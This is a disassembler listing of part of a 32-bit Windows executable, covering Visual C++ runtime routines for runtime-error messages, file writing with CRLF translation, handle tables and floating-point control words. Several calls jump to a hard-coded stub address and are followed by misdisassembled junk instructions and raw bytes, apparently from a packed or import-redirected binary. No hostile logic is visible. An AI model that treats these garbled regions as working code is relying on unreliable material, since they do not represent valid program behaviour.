loc_4178C2:				; CODE XREF: seg000:004178B6j
		sub	eax, edi
		inc	eax
		mov	ebp, eax
		push	ebp
		call	sub_410AEB
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_4178D8
		xor	esi, esi
		jmp	short loc_4178E3
; ---------------------------------------------------------------------------


loc_4178D8:				; CODE XREF: seg000:004178D2j
		push	ebp
		push	edi
		push	esi
		call	sub_410510
		add	esp, 0Ch


loc_4178E3:				; CODE XREF: seg000:004178D6j
		push	edi
		call	near ptr 0A70000h
		mov	al, 8Bh
		mov	bl, 2


loc_4178EE:				; CODE XREF: seg000:004177FEj
					; seg000:00417826j ...
		xor	eax, eax


loc_4178F0:				; CODE XREF: seg000:0041789Bj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_4178F7:				; CODE XREF: seg000:004129E7p
		sub	esp, 44h
		push	ebx
		push	ebp
		push	esi
		push	edi
		push	100h
		call	sub_410AEB
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_417917
		push	1Bh
		call	sub_412A6E
		pop	ecx


loc_417917:				; CODE XREF: seg000:0041790Dj
		mov	ds:dword_45FE40, esi
		mov	ds:dword_45FF40, 20h
		lea	eax, [esi+100h]


loc_41792D:				; CODE XREF: seg000:00417949j
		cmp	esi, eax
		jnb	short loc_41794B
		and	byte ptr [esi+4], 0
		or	dword ptr [esi], 0FFFFFFFFh
		mov	byte ptr [esi+5], 0Ah
		mov	eax, ds:dword_45FE40
		add	esi, 8
		add	eax, 100h
		jmp	short loc_41792D
; ---------------------------------------------------------------------------


loc_41794B:				; CODE XREF: seg000:0041792Fj
		lea	eax, [esp+10h]
		push	eax
		call	near ptr 0A70000h
		add	eax, 247C8366h
		inc	edx
		add	[edi], cl
		test	al, ch
; ---------------------------------------------------------------------------
		db 0
		dd 448B0000h, 0C0854424h, 0B9840Fh, 308B0000h, 0B804688Dh
		dd 800h, 1C8DF03Bh, 8B027C2Eh, 403539F0h, 7D0045FFh, 0FE44BF52h
		dd 680045h, 0E8000001h,	0FFFF9153h, 7459C085h, 40058338h
		dd 200045FFh, 888D0789h, 100h, 1873C13Bh, 46080h, 0C6FF0883h
		dd 8B0A0540h, 8C0830Fh,	100C181h, 0E4EB0000h, 3904C783h
		dd 45FF4035h, 0EBBB7C00h, 40358B06h, 330045FFh,	7EF685FFh
		dd 83038B46h, 3674FFF8h, 0F6004D8Ah, 2E7401C1h,	7508C1F6h
		dd 5E8500Bh, 2D006586h,	1E74C085h, 0CF8BC78Bh, 8305F8C1h
		dd 48B1FE1h, 45FE4085h,	0C8048D00h, 8890B8Bh, 88004D8Ah
		dd 45470448h, 3B04C383h, 33BA7CFEh, 0FE40A1DBh,	3C830045h
		dd 348DFFD8h, 854D75D8h, 446C6DBh, 6A057581h, 0AEB58F6h
		dd 0F748C38Bh, 83C01BD8h, 0E850F5C0h, 6585ACh, 83F88B18h
		dd 1774FFFFh, 859EE857h, 85050065h, 250C74C0h, 0FFh, 0F8833E89h
		dd 80067502h, 0EB40044Eh, 3F8830Fh, 4E800A75h, 4EB0804h
		dd 80044E80h, 3FB8343h,	35FF9B7Ch, 45FF40h, 658567E8h
		dd 5E5FCD00h, 0C4835B5Dh, 0CCCCC344h, 30324356h, 30304358h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417AAC	proc near		; DATA XREF: seg000:00412982o
					; sub_41507D+Ao ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		push	ebp
		cld
		mov	ebx, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		test	dword ptr [eax+4], 6
		jnz	loc_417B4C
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_8]
		mov	[ebx-4], eax
		mov	esi, [ebx+0Ch]
		mov	edi, [ebx+8]


loc_417ADF:				; CODE XREF: sub_417AAC+90j
		cmp	esi, 0FFFFFFFFh
		jz	short loc_417B45
		lea	ecx, [esi+esi*2]
		cmp	dword ptr [edi+ecx*4+4], 0
		jz	short loc_417B33
		push	esi
		push	ebp
		lea	ebp, [ebx+10h]
		call	dword ptr [edi+ecx*4+4]
		pop	ebp
		pop	esi
		mov	ebx, [ebp+arg_4]
		or	eax, eax
		jz	short loc_417B33
		js	short loc_417B3E
		mov	edi, [ebx+8]
		push	ebx
		call	sub_41108C
		add	esp, 4
		lea	ebp, [ebx+10h]
		push	esi
		push	ebx
		call	sub_4110CE
		add	esp, 8
		lea	ecx, [esi+esi*2]
		push	1
		mov	eax, [edi+ecx*4+8]
		call	sub_411162
		mov	eax, [edi+ecx*4]
		mov	[ebx+0Ch], eax
		call	dword ptr [edi+ecx*4+8]


loc_417B33:				; CODE XREF: sub_417AAC+40j
					; sub_417AAC+52j
		mov	edi, [ebx+8]
		lea	ecx, [esi+esi*2]
		mov	esi, [edi+ecx*4]
		jmp	short loc_417ADF
; ---------------------------------------------------------------------------


loc_417B3E:				; CODE XREF: sub_417AAC+54j
		mov	eax, 0
		jmp	short loc_417B61
; ---------------------------------------------------------------------------


loc_417B45:				; CODE XREF: sub_417AAC+36j
		mov	eax, 1
		jmp	short loc_417B61
; ---------------------------------------------------------------------------


loc_417B4C:				; CODE XREF: sub_417AAC+18j
		push	ebp
		lea	ebp, [ebx+10h]
		push	0FFFFFFFFh
		push	ebx
		call	sub_4110CE
		add	esp, 8
		pop	ebp
		mov	eax, 1


loc_417B61:				; CODE XREF: sub_417AAC+97j
					; sub_417AAC+9Ej
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_417AAC	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ecx, [esp+8]
		mov	ebp, [ecx]
		mov	eax, [ecx+1Ch]
		push	eax
		mov	eax, [ecx+18h]
		push	eax
		call	sub_4110CE
		add	esp, 8
		pop	ebp
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_417B84	proc near		; CODE XREF: sub_412A6E+9p
					; sub_412A93+9p
		mov	eax, ds:dword_45EB68
		cmp	eax, 1
		jz	short loc_417B9B
		test	eax, eax
		jnz	short locret_417BBC
		cmp	ds:dword_42D814, 1
		jnz	short locret_417BBC


loc_417B9B:				; CODE XREF: sub_417B84+8j
		push	0FCh
		call	sub_417BBD
		mov	eax, ds:dword_45ECD0
		pop	ecx
		test	eax, eax
		jz	short loc_417BB1
		call	eax ; dword_45ECD0


loc_417BB1:				; CODE XREF: sub_417B84+29j
		push	0FFh
		call	sub_417BBD
		pop	ecx

locret_417BBC:				; CODE XREF: sub_417B84+Cj
					; sub_417B84+15j
		retn
sub_417B84	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417BBD	proc near		; CODE XREF: sub_412A6E+12p
					; sub_412A93+12p ...

var_1A4		= byte ptr -1A4h
var_A0		= byte ptr -0A0h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1A4h
		mov	edx, [ebp+arg_0]
		xor	ecx, ecx
		mov	eax, offset dword_42DE88


loc_417BD0:				; CODE XREF: sub_417BBD+20j
		cmp	edx, [eax]
		jz	short loc_417BDF
		add	eax, 8
		inc	ecx
		cmp	eax, offset off_42DF18
		jl	short loc_417BD0


loc_417BDF:				; CODE XREF: sub_417BBD+15j
		push	esi
		mov	esi, ecx
		shl	esi, 3
		cmp	edx, ds:dword_42DE88[esi]
		jnz	loc_417D0D
		mov	eax, ds:dword_45EB68
		cmp	eax, 1
		jz	loc_417CE7
		test	eax, eax
		jnz	short loc_417C10
		cmp	ds:dword_42D814, 1
		jz	loc_417CE7


loc_417C10:				; CODE XREF: sub_417BBD+44j
		cmp	edx, 0FCh
		jz	loc_417D0D
		lea	eax, [ebp+var_1A4]
		push	104h
		push	eax
		push	0
		call	near ptr 0A70000h
		hlt
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_417C47
		lea	eax, [ebp+var_1A4]
		push	offset aProgramNameUnk ; "<program name	unknown>"
		push	eax
		call	sub_411AD0
		pop	ecx
		pop	ecx


loc_417C47:				; CODE XREF: sub_417BBD+75j
		lea	eax, [ebp+var_1A4]
		push	edi
		push	eax
		lea	edi, [ebp+var_1A4]
		call	sub_410A70
		inc	eax
		pop	ecx
		cmp	eax, 3Ch
		jbe	short loc_417C8A
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_410A70
		mov	edi, eax
		lea	eax, [ebp+var_1A4]
		sub	eax, 3Bh
		push	3
		add	edi, eax
		push	offset a___	; "..."
		push	edi
		call	sub_411C90
		add	esp, 10h


loc_417C8A:				; CODE XREF: sub_417BBD+A2j
		lea	eax, [ebp+var_A0]
		push	offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: "
		push	eax
		call	sub_411AD0
		lea	eax, [ebp+var_A0]
		push	edi
		push	eax
		call	sub_411AE0
		lea	eax, [ebp+var_A0]
		push	offset asc_41CB38 ; "\n\n"
		push	eax
		call	sub_411AE0
		push	ds:off_42DE8C[esi]
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_411AE0
		push	12010h
		lea	eax, [ebp+var_A0]
		push	offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library"
		push	eax
		call	sub_419541
		add	esp, 2Ch
		pop	edi
		jmp	short loc_417D0D
; ---------------------------------------------------------------------------


loc_417CE7:				; CODE XREF: sub_417BBD+3Cj
					; sub_417BBD+4Dj
		lea	eax, [ebp+arg_0]
		lea	esi, off_42DE8C[esi]
		push	0
		push	eax
		push	dword ptr [esi]
		call	sub_410A70
		pop	ecx
		push	eax
		push	dword ptr [esi]
		push	0FFFFFFF4h
		call	near ptr 0A70000h
		imul	edx, [eax-18h],	6582F4h
		pop	ebx


loc_417D0D:				; CODE XREF: sub_417BBD+2Ej
					; sub_417BBD+59j ...
		pop	esi
		leave
		retn
sub_417BBD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417D10	proc near		; CODE XREF: sub_412AB7+95p
					; sub_412AB7+E8p ...

var_74F48B40	= dword	ptr -74F48B40h
var_414		= byte ptr -414h
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	ecx, [ebp+arg_0]
		push	ebx
		cmp	ecx, ds:dword_45FF40
		push	esi
		push	edi
		jnb	loc_417EA4
		mov	eax, ecx
		mov	esi, ecx
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:45FE40h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		mov	al, [eax+esi+4]
		test	al, 1
		jz	loc_417EA4
		xor	edi, edi
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_8], edi
		mov	[ebp+var_10], edi
		jnz	short loc_417D61


loc_417D5A:				; CODE XREF: sub_417D10+177j
		xor	eax, eax
		jmp	loc_417EB8
; ---------------------------------------------------------------------------


loc_417D61:				; CODE XREF: sub_417D10+48j
		test	al, 20h
		jz	short loc_417D71
		push	2
		push	edi
		push	ecx
		call	sub_416932
		add	esp, 0Ch


loc_417D71:				; CODE XREF: sub_417D10+53j
		mov	eax, [ebx]
		add	eax, esi
		test	byte ptr [eax+4], 80h
		jz	loc_417E40
		mov	eax, [ebp+arg_4]
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], edi
		jbe	loc_417E78


loc_417D91:				; CODE XREF: sub_417D10+F5j
		lea	eax, [ebp+var_414]


loc_417D97:				; CODE XREF: sub_417D10+B9j
		mov	ecx, [ebp+var_4]
		sub	ecx, [ebp+arg_4]
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_417DCB
		mov	ecx, [ebp+var_4]
		inc	[ebp+var_4]
		mov	cl, [ecx]
		cmp	cl, 0Ah
		jnz	short loc_417DB6
		inc	[ebp+var_10]
		mov	byte ptr [eax],	0Dh
		inc	eax


loc_417DB6:				; CODE XREF: sub_417D10+9Dj
		mov	[eax], cl
		inc	eax
		mov	ecx, eax
		lea	edx, [ebp+var_414]
		sub	ecx, edx
		cmp	ecx, 400h
		jl	short loc_417D97


loc_417DCB:				; CODE XREF: sub_417D10+90j
		mov	edi, eax
		lea	eax, [ebp+var_414]
		sub	edi, eax
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		lea	eax, [ebp+var_414]
		push	edi
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		call	near ptr 0A70000h
		mov	ch, 85h
		sal	byte ptr [ebx+eax*2-75h], 45h
		hlt
; ---------------------------------------------------------------------------
		add	[ebp+var_8], eax
		cmp	eax, edi
		jl	short loc_417E07
		mov	eax, [ebp+var_4]
		sub	eax, [ebp+arg_4]
		cmp	eax, [ebp+arg_8]
		jb	short loc_417D91


loc_417E07:				; CODE XREF: sub_417D10+EAj
					; sub_417D10+12Ej
		xor	edi, edi


loc_417E09:				; CODE XREF: sub_417D10+150j
					; sub_417D10+15Bj
		mov	eax, [ebp+var_8]
		cmp	eax, edi
		jnz	loc_417E9F
		cmp	[ebp+arg_0], edi
		jz	short loc_417E78
		push	5
		pop	eax
		cmp	[ebp+arg_0], eax
		jnz	short loc_417E6D
		mov	ds:dword_45EB14, 9
		mov	ds:dword_45EB18, eax
		jmp	loc_417EB5
; ---------------------------------------------------------------------------
		call	ds:dword_41C060	; RtlGetLastWin32Error
		mov	[ebp+arg_0], eax
		jmp	short loc_417E07
; ---------------------------------------------------------------------------


loc_417E40:				; CODE XREF: sub_417D10+69j
		lea	ecx, [ebp+var_C]
		push	edi
		push	ecx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	dword ptr [eax]
		call	near ptr 0A70000h
		adc	eax, [ebp+var_74F48B40]
		inc	ebp
		hlt
; ---------------------------------------------------------------------------
		mov	[ebp+arg_0], edi
		mov	[ebp+var_8], eax
		jmp	short loc_417E09
; ---------------------------------------------------------------------------
		call	ds:dword_41C060	; RtlGetLastWin32Error
		mov	[ebp+arg_0], eax
		jmp	short loc_417E09
; ---------------------------------------------------------------------------


loc_417E6D:				; CODE XREF: sub_417D10+10Fj
		push	[ebp+arg_0]
		call	sub_4171B2
		pop	ecx
		jmp	short loc_417EB5
; ---------------------------------------------------------------------------


loc_417E78:				; CODE XREF: sub_417D10+7Bj
					; sub_417D10+107j
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 40h
		jz	short loc_417E8D
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	1Ah
		jz	loc_417D5A


loc_417E8D:				; CODE XREF: sub_417D10+16Fj
		mov	ds:dword_45EB14, 1Ch
		mov	ds:dword_45EB18, edi
		jmp	short loc_417EB5
; ---------------------------------------------------------------------------


loc_417E9F:				; CODE XREF: sub_417D10+FEj
		sub	eax, [ebp+var_10]
		jmp	short loc_417EB8
; ---------------------------------------------------------------------------


loc_417EA4:				; CODE XREF: sub_417D10+15j
					; sub_417D10+37j
		and	ds:dword_45EB18, 0
		mov	ds:dword_45EB14, 9


loc_417EB5:				; CODE XREF: sub_417D10+120j
					; sub_417D10+166j ...
		or	eax, 0FFFFFFFFh


loc_417EB8:				; CODE XREF: sub_417D10+4Cj
					; sub_417D10+192j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417D10	endp


; =============== S U B	R O U T	I N E =======================================



sub_417EBD	proc near		; CODE XREF: sub_412AB7+6Cp
					; sub_41647B+32p ...

arg_0		= dword	ptr  4

		inc	ds:dword_45ECD4
		push	1000h
		call	sub_410AEB
		pop	ecx
		mov	ecx, [esp+arg_0]
		test	eax, eax
		mov	[ecx+8], eax
		jz	short loc_417EE6
		or	dword ptr [ecx+0Ch], 8
		mov	dword ptr [ecx+18h], 1000h
		jmp	short loc_417EF7
; ---------------------------------------------------------------------------


loc_417EE6:				; CODE XREF: sub_417EBD+1Aj
		or	dword ptr [ecx+0Ch], 4
		lea	eax, [ecx+14h]
		mov	[ecx+8], eax
		mov	dword ptr [ecx+18h], 2


loc_417EF7:				; CODE XREF: sub_417EBD+27j
		mov	eax, [ecx+8]
		and	dword ptr [ecx+4], 0
		mov	[ecx], eax
		retn
sub_417EBD	endp


; =============== S U B	R O U T	I N E =======================================



sub_417F01	proc near		; CODE XREF: sub_412AB7+61p
					; sub_417219+8p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, ds:dword_45FF40
		jb	short loc_417F10
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_417F10:				; CODE XREF: sub_417F01+Aj
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, ds:dword_45FE40[ecx*4]
		mov	al, [ecx+eax*8+4]
		and	eax, 40h
		retn
sub_417F01	endp


; =============== S U B	R O U T	I N E =======================================



sub_417F27	proc near		; DATA XREF: seg002:0041E01Co
		mov	eax, ds:dword_45FE20
		push	esi
		push	14h
		test	eax, eax
		pop	esi
		jnz	short loc_417F3B
		mov	eax, 200h
		jmp	short loc_417F41
; ---------------------------------------------------------------------------


loc_417F3B:				; CODE XREF: sub_417F27+Bj
		cmp	eax, esi
		jge	short loc_417F46
		mov	eax, esi


loc_417F41:				; CODE XREF: sub_417F27+12j
		mov	ds:dword_45FE20, eax


loc_417F46:				; CODE XREF: sub_417F27+16j
		push	4
		push	eax
		call	sub_4195CA
		pop	ecx
		mov	ds:dword_45EE04, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_417F7A
		push	4
		push	esi
		mov	ds:dword_45FE20, esi
		call	sub_4195CA
		pop	ecx
		mov	ds:dword_45EE04, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_417F7A
		push	1Ah
		call	sub_412A6E
		pop	ecx


loc_417F7A:				; CODE XREF: sub_417F27+30j
					; sub_417F27+49j
		xor	ecx, ecx
		mov	eax, offset off_42DF18


loc_417F81:				; CODE XREF: sub_417F27+6Ej
		mov	edx, ds:dword_45EE04
		mov	[ecx+edx], eax
		add	eax, 20h
		add	ecx, 4
		cmp	eax, offset dword_42E198
		jl	short loc_417F81
		xor	edx, edx
		mov	ecx, offset dword_42DF28


loc_417F9E:				; CODE XREF: sub_417F27+A1j
		mov	eax, edx
		mov	esi, edx
		sar	eax, 5
		and	esi, 1Fh
		mov	eax, ds:dword_45FE40[eax*4]
		mov	eax, [eax+esi*8]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_417FBB
		test	eax, eax
		jnz	short loc_417FBE


loc_417FBB:				; CODE XREF: sub_417F27+8Ej
		or	dword ptr [ecx], 0FFFFFFFFh


loc_417FBE:				; CODE XREF: sub_417F27+92j
		add	ecx, 20h
		inc	edx
		cmp	ecx, offset dword_42DF88
		jl	short loc_417F9E
		pop	esi
		retn
sub_417F27	endp


; =============== S U B	R O U T	I N E =======================================



sub_417FCC	proc near		; DATA XREF: seg002:0041E02Co

; FUNCTION CHUNK AT 00419647 SIZE 00000058 BYTES

		call	sub_416405
		cmp	ds:byte_45EB54,	0
		jz	short locret_417FDF
		jmp	loc_419647
; ---------------------------------------------------------------------------

locret_417FDF:				; CODE XREF: sub_417FCC+Cj
		retn
sub_417FCC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417FE0	proc near		; CODE XREF: sub_412BCC+2D4p
					; sub_412BCC+6B3p

arg_0		= dword	ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jnz	short loc_417FEC
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_417FEC:				; CODE XREF: sub_417FE0+8j
		cmp	ds:dword_45EBA0, 0
		jnz	short loc_418007
		mov	cx, [ebp+arg_4]
		cmp	cx, 0FFh
		ja	short loc_418039
		push	1
		mov	[eax], cl
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_418007:				; CODE XREF: sub_417FE0+13j
		lea	ecx, [ebp+arg_0]
		and	[ebp+arg_0], 0
		push	ecx
		push	0
		push	ds:dword_42DA2C
		push	eax
		lea	eax, [ebp+arg_4]
		push	1
		push	eax
		push	220h
		push	ds:dword_45EBB0
		call	ds:dword_41C128	; WideCharToMultiByte
		test	eax, eax
		jz	short loc_418039
		cmp	[ebp+arg_0], 0
		jz	short loc_418046


loc_418039:				; CODE XREF: sub_417FE0+1Ej
					; sub_417FE0+51j
		mov	ds:dword_45EB14, 2Ah
		or	eax, 0FFFFFFFFh


loc_418046:				; CODE XREF: sub_417FE0+57j
		pop	ebp
		retn
sub_417FE0	endp

; ---------------------------------------------------------------------------


loc_418048:				; CODE XREF: sub_4133D6+5Ep
					; seg000:00417021p
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_41CB78
		push	offset sub_417AAC
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	[ebp-18h], esp
		mov	eax, ds:dword_45ECD8
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_4180B7
		lea	eax, [ebp-1Ch]
		push	eax
		push	1
		pop	esi
		push	esi
		push	offset dword_41C868
		push	esi
		call	ds:dword_41C028	; GetStringTypeW
		test	eax, eax
		jz	short loc_418095
		mov	eax, esi
		jmp	short loc_4180B2
; ---------------------------------------------------------------------------


loc_418095:				; CODE XREF: seg000:0041808Fj
		lea	eax, [ebp-1Ch]
		push	eax
		push	esi
		push	offset dword_42E654
		push	esi
		push	ebx
		call	near ptr 0A70000h
		inc	byte ptr [ebp-317BF040h]
; ---------------------------------------------------------------------------
		dd 6A000000h
		db 2, 58h
; ---------------------------------------------------------------------------


loc_4180B2:				; CODE XREF: seg000:00418093j
		mov	ds:dword_45ECD8, eax


loc_4180B7:				; CODE XREF: seg000:00418077j
		cmp	eax, 2
		jnz	short loc_4180E0
		mov	eax, [ebp+1Ch]
		cmp	eax, ebx
		jnz	short loc_4180C8
		mov	eax, ds:dword_45EBA0 ; CODE XREF: seg000:004180DAj


loc_4180C8:				; CODE XREF: seg000:004180C1j
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		push	eax
		call	near ptr 0A70000h
		jnz	short near ptr loc_4180C3+2
		lahf
; ---------------------------------------------------------------------------
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_4180E0:				; CODE XREF: seg000:004180BAj
		cmp	eax, 1
		jnz	loc_41817D
		cmp	[ebp+18h], ebx
		jnz	short loc_4180F6
		mov	eax, ds:dword_45EBB0
		mov	[ebp+18h], eax


loc_4180F6:				; CODE XREF: seg000:004180ECj
		push	ebx
		push	ebx
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		mov	eax, [ebp+20h]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	dword ptr [ebp+18h]
		call	ds:dword_41C12C	; MultiByteToWideChar
		mov	[ebp-20h], eax
		cmp	eax, ebx
		jz	short loc_41817D
		mov	[ebp-4], ebx
		lea	edi, [eax+eax]
		mov	eax, edi
		add	eax, 3
		and	al, 0FCh
		call	sub_411C60
		mov	[ebp-18h], esp
		mov	esi, esp
		mov	[ebp-24h], esi
		push	edi
		push	ebx
		push	esi
		call	sub_410870
		add	esp, 0Ch
		jmp	short loc_41814C
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		xor	ebx, ebx
		xor	esi, esi


loc_41814C:				; CODE XREF: seg000:0041813Fj
		or	dword ptr [ebp-4], 0FFFFFFFFh
		cmp	esi, ebx
		jz	short loc_41817D
		push	dword ptr [ebp-20h]
		push	esi
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	1
		push	dword ptr [ebp+18h]
		call	ds:dword_41C12C	; MultiByteToWideChar
		cmp	eax, ebx
		jz	short loc_41817D
		push	dword ptr [ebp+14h]
		push	eax
		push	esi
		push	dword ptr [ebp+8]
		call	ds:dword_41C028	; GetStringTypeW
		jmp	short loc_41817F
; ---------------------------------------------------------------------------


loc_41817D:				; CODE XREF: seg000:004180E3j
					; seg000:00418118j ...
		xor	eax, eax


loc_41817F:				; CODE XREF: seg000:0041817Bj
		lea	esp, [ebp-34h]
		mov	ecx, [ebp-10h]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_418191	proc near		; CODE XREF: sub_414596+52p
		xor	eax, eax
		retn
sub_418191	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418194	proc near		; CODE XREF: sub_4181C9+Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		fstcw	word ptr [ebp+var_4]
		push	[ebp+var_4]
		call	sub_4181DF
		mov	esi, eax
		mov	eax, [ebp+arg_4]
		not	eax
		and	esi, eax
		mov	eax, [ebp+arg_0]
		and	eax, [ebp+arg_4]
		or	esi, eax
		push	esi
		call	sub_418271
		pop	ecx
		mov	[ebp+arg_4], eax
		pop	ecx
		fldcw	word ptr [ebp+arg_4]
		mov	eax, esi
		pop	esi
		leave
		retn
sub_418194	endp


; =============== S U B	R O U T	I N E =======================================



sub_4181C9	proc near		; CODE XREF: sub_414882+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		and	eax, 0FFF7FFFFh
		push	eax
		push	[esp+4+arg_0]
		call	sub_418194
		pop	ecx
		pop	ecx
		retn
sub_4181C9	endp


; =============== S U B	R O U T	I N E =======================================



sub_4181DF	proc near		; CODE XREF: sub_418194+Cp

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		xor	eax, eax
		push	ebp
		test	bl, 1
		push	edi
		jz	short loc_4181F0
		push	10h
		pop	eax


loc_4181F0:				; CODE XREF: sub_4181DF+Cj
		test	bl, 4
		jz	short loc_4181F7
		or	al, 8


loc_4181F7:				; CODE XREF: sub_4181DF+14j
		test	bl, 8
		jz	short loc_4181FE
		or	al, 4


loc_4181FE:				; CODE XREF: sub_4181DF+1Bj
		test	bl, 10h
		jz	short loc_418205
		or	al, 2


loc_418205:				; CODE XREF: sub_4181DF+22j
		test	bl, 20h
		jz	short loc_41820C
		or	al, 1


loc_41820C:				; CODE XREF: sub_4181DF+29j
		test	bl, 2
		jz	short loc_418216
		or	eax, 80000h


loc_418216:				; CODE XREF: sub_4181DF+30j
		movzx	ecx, bx
		push	esi
		mov	edx, ecx
		mov	esi, 0C00h
		mov	edi, 300h
		and	edx, esi
		mov	ebp, 200h
		jz	short loc_41824E
		cmp	edx, 400h
		jz	short loc_41824B
		cmp	edx, 800h
		jz	short loc_418247
		cmp	edx, esi
		jnz	short loc_41824E
		or	eax, edi
		jmp	short loc_41824E
; ---------------------------------------------------------------------------


loc_418247:				; CODE XREF: sub_4181DF+5Ej
		or	eax, ebp
		jmp	short loc_41824E
; ---------------------------------------------------------------------------


loc_41824B:				; CODE XREF: sub_4181DF+56j
		or	ah, 1


loc_41824E:				; CODE XREF: sub_4181DF+4Ej
					; sub_4181DF+62j ...
		and	ecx, edi
		pop	esi
		jz	short loc_41825E
		cmp	ecx, ebp
		jnz	short loc_418263
		or	eax, 10000h
		jmp	short loc_418263
; ---------------------------------------------------------------------------


loc_41825E:				; CODE XREF: sub_4181DF+72j
		or	eax, 20000h


loc_418263:				; CODE XREF: sub_4181DF+76j
					; sub_4181DF+7Dj
		pop	edi
		pop	ebp
		test	bh, 10h
		pop	ebx
		jz	short locret_418270
		or	eax, 40000h

locret_418270:				; CODE XREF: sub_4181DF+8Aj
		retn
sub_4181DF	endp


; =============== S U B	R O U T	I N E =======================================



sub_418271	proc near		; CODE XREF: sub_418194+23p

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		xor	eax, eax
		push	esi
		test	bl, 10h
		jz	short loc_418281
		push	1
		pop	eax


loc_418281:				; CODE XREF: sub_418271+Bj
		test	bl, 8
		jz	short loc_418288
		or	al, 4


loc_418288:				; CODE XREF: sub_418271+13j
		test	bl, 4
		jz	short loc_41828F
		or	al, 8


loc_41828F:				; CODE XREF: sub_418271+1Aj
		test	bl, 2
		jz	short loc_418296
		or	al, 10h


loc_418296:				; CODE XREF: sub_418271+21j
		test	bl, 1
		jz	short loc_41829D
		or	al, 20h


loc_41829D:				; CODE XREF: sub_418271+28j
		test	ebx, 80000h
		jz	short loc_4182A7
		or	al, 2


loc_4182A7:				; CODE XREF: sub_418271+32j
		mov	ecx, ebx
		mov	edx, 300h
		and	ecx, edx
		mov	esi, 200h
		jz	short loc_4182D4
		cmp	ecx, 100h
		jz	short loc_4182D1
		cmp	ecx, esi
		jz	short loc_4182CC
		cmp	ecx, edx
		jnz	short loc_4182D4
		or	ah, 0Ch
		jmp	short loc_4182D4
; ---------------------------------------------------------------------------


loc_4182CC:				; CODE XREF: sub_418271+50j
		or	ah, 8
		jmp	short loc_4182D4
; ---------------------------------------------------------------------------


loc_4182D1:				; CODE XREF: sub_418271+4Cj
		or	ah, 4


loc_4182D4:				; CODE XREF: sub_418271+44j
					; sub_418271+54j ...
		mov	ecx, ebx
		and	ecx, 30000h
		jz	short loc_4182EA
